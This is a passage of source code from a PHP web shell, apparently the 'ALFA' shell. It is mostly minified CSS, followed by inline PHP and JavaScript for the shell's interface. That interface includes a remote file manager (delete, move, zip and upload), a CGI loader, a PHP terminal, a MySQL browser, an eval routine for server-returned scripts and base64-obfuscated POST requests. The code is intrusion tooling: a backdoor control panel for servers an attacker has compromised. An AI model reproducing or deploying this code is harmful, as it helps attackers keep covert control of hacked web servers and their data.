rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}\n<?php echo \'\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\n#alfaloader{\'.$csscode.\'width:100px;height:100px;}\n#a_loader img{\'.$csscode.\'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:\'.alfa_getColor("header_values").\';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:\'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'0\':\'1\').\'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(\'.__showicon(\'btn\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}\n.foottable{width: 300px;font-weight: bold;\'.(!@is_writable($GLOBALS[\'cwd\'])?\'}.dir{background-color:red;}\':\'}\').\'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}\'.alfaCssLoadColors().\'\n</style>\';\necho "<script type=\'text/javascript\'>\nvar c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\nvar a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\';\nvar charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\nvar islinux = ".($GLOBALS[\'sys\']!="win"?\'true\':\'false\').";\nvar post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?\'true\':\'false\').";";?>\nvar alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\\"header_pwd\\" onclick=\\"g(\'FilesMan\',\'/\');\\" path=\'/\' href=\'#action=fileman&path=/\'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\\"g(\'FilesMan\',\'"+r+l[i]+"/\');\\" path=\'"+r+l[i]+"/\' href=\'#action=fileman&path="+r+l[i]+\'/\\\' class="header_pwd">\'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var 